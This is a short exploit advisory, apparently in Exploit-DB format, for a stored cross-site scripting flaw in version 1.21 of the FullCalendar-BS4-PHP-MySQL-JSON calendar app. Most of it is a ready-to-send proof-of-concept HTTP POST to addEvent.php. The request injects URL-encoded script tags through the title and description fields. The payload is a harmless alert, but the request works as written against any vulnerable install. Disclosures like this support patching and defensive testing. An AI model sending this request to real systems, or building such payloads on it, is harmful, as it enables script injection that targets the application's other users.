waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 Cross Site Scripting

`Exploit Title: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 - 'description' Cross-Site Scripting  
Date: 2019-10-28  
Exploit Author: Cakes  
Vendor Homepage: waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON  
Software Link: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git  
Version: 1.21  
Tested on: CentOS7  
CVE : N/A  
  
# Description:  
# Cross-Site scripting vulnerability in the description field. This XSS completely breaks the web application.  
  
#POC  
POST /addEvent.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://10.0.0.20/calendar03/  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 213  
Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00  
`